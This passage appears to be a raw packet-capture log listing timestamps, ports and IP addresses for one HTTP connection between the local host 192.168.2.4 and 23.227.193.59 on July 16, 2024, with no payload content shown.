Jul 16, 2024 22:29:52.363806009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.363821030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.363853931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.363866091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.363892078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.363935947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364223957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364258051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364290953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364305019 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364325047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364358902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364368916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364392042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364439011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364449978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364470959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364527941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364530087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364564896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364598989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364609003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364631891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364664078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364672899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364696980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364729881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364743948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364763975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364799976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.364809036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.364976883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365024090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365030050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365061998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365099907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365111113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365144014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365176916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365181923 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365209103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365242004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365247965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365274906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365309000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365322113 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365341902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365375996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365408897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365410089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365442038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365457058 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365475893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365508080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365519047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365540981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365576029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365586042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365803003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365837097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365853071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365869999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365917921 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.365921021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365956068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.365997076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366004944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366038084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366070986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366080999 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366103888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366137981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366152048 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366169930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366204023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366215944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366235971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366269112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366286039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366301060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366334915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366345882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366369009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366403103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366415024 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366436005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366477013 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366795063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366828918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366862059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366878033 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366895914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366929054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.366939068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.366972923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.367005110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.367013931 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.367039919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.367091894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.450627089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450663090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450697899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450723886 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.450731039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450777054 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.450786114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450818062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450853109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450864077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.450886011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450932026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.450937033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.450988054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451036930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451050997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451070070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451102018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451116085 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451134920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451169014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451183081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451200962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451235056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451250076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451263905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451312065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451317072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451349974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451383114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451396942 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451417923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451471090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451486111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451535940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451587915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451601982 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451622963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451656103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451668978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451689959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451721907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451735020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451754093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451786995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451800108 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451818943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451855898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451864958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.451925039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.451973915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452069044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452101946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452136040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452147961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452187061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452219963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452233076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452254057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452286959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452301979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452320099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452353001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452368021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452384949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452420950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452430010 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452454090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452508926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452508926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452542067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452574968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452590942 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452610016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452642918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452656031 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.452681065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.452728987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453002930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453036070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453068972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453084946 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453102112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453142881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453149080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453176975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453207970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453222036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453239918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453274012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453288078 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453306913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453340054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453352928 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453372955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453407049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453421116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453438997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453473091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453488111 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453506947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453540087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453552961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453572989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453607082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453622103 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453639030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.453685045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.453977108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454015017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454047918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454061985 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454082012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454113960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454128027 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454147100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454179049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454194069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454211950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454242945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454258919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454276085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454304934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454323053 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454339027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454371929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454385042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454405069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454437971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454449892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454471111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454505920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454519033 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454539061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454571009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454583883 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454603910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454639912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454644918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454668999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454715014 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454896927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454929113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454961061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.454976082 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.454994917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455027103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455039978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455059052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455091953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455105066 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455125093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455157995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455171108 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455189943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455223083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455235958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455255985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455287933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455300093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455322027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455353975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455369949 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455385923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455420017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455432892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455451965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455486059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455496073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455518961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455569029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455646038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455679893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455712080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455723047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.455746889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.455795050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.540395021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540471077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540549994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540589094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.540604115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540641069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540669918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.540678978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540724039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.540731907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540762901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540796995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540808916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.540832043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540867090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540884018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.540924072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540957928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.540992022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541014910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541026115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541047096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541059971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541100979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541107893 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541152954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541187048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541202068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541222095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541265011 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541273117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541307926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541342974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541377068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541382074 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541409969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541423082 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541449070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541493893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541496038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541528940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541563034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541575909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541598082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541631937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541645050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541666031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541698933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541713953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541750908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541785955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541800976 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541821003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541856050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541873932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541891098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541924953 CEST	80	49730	23.227.193.59	192.168.2.4
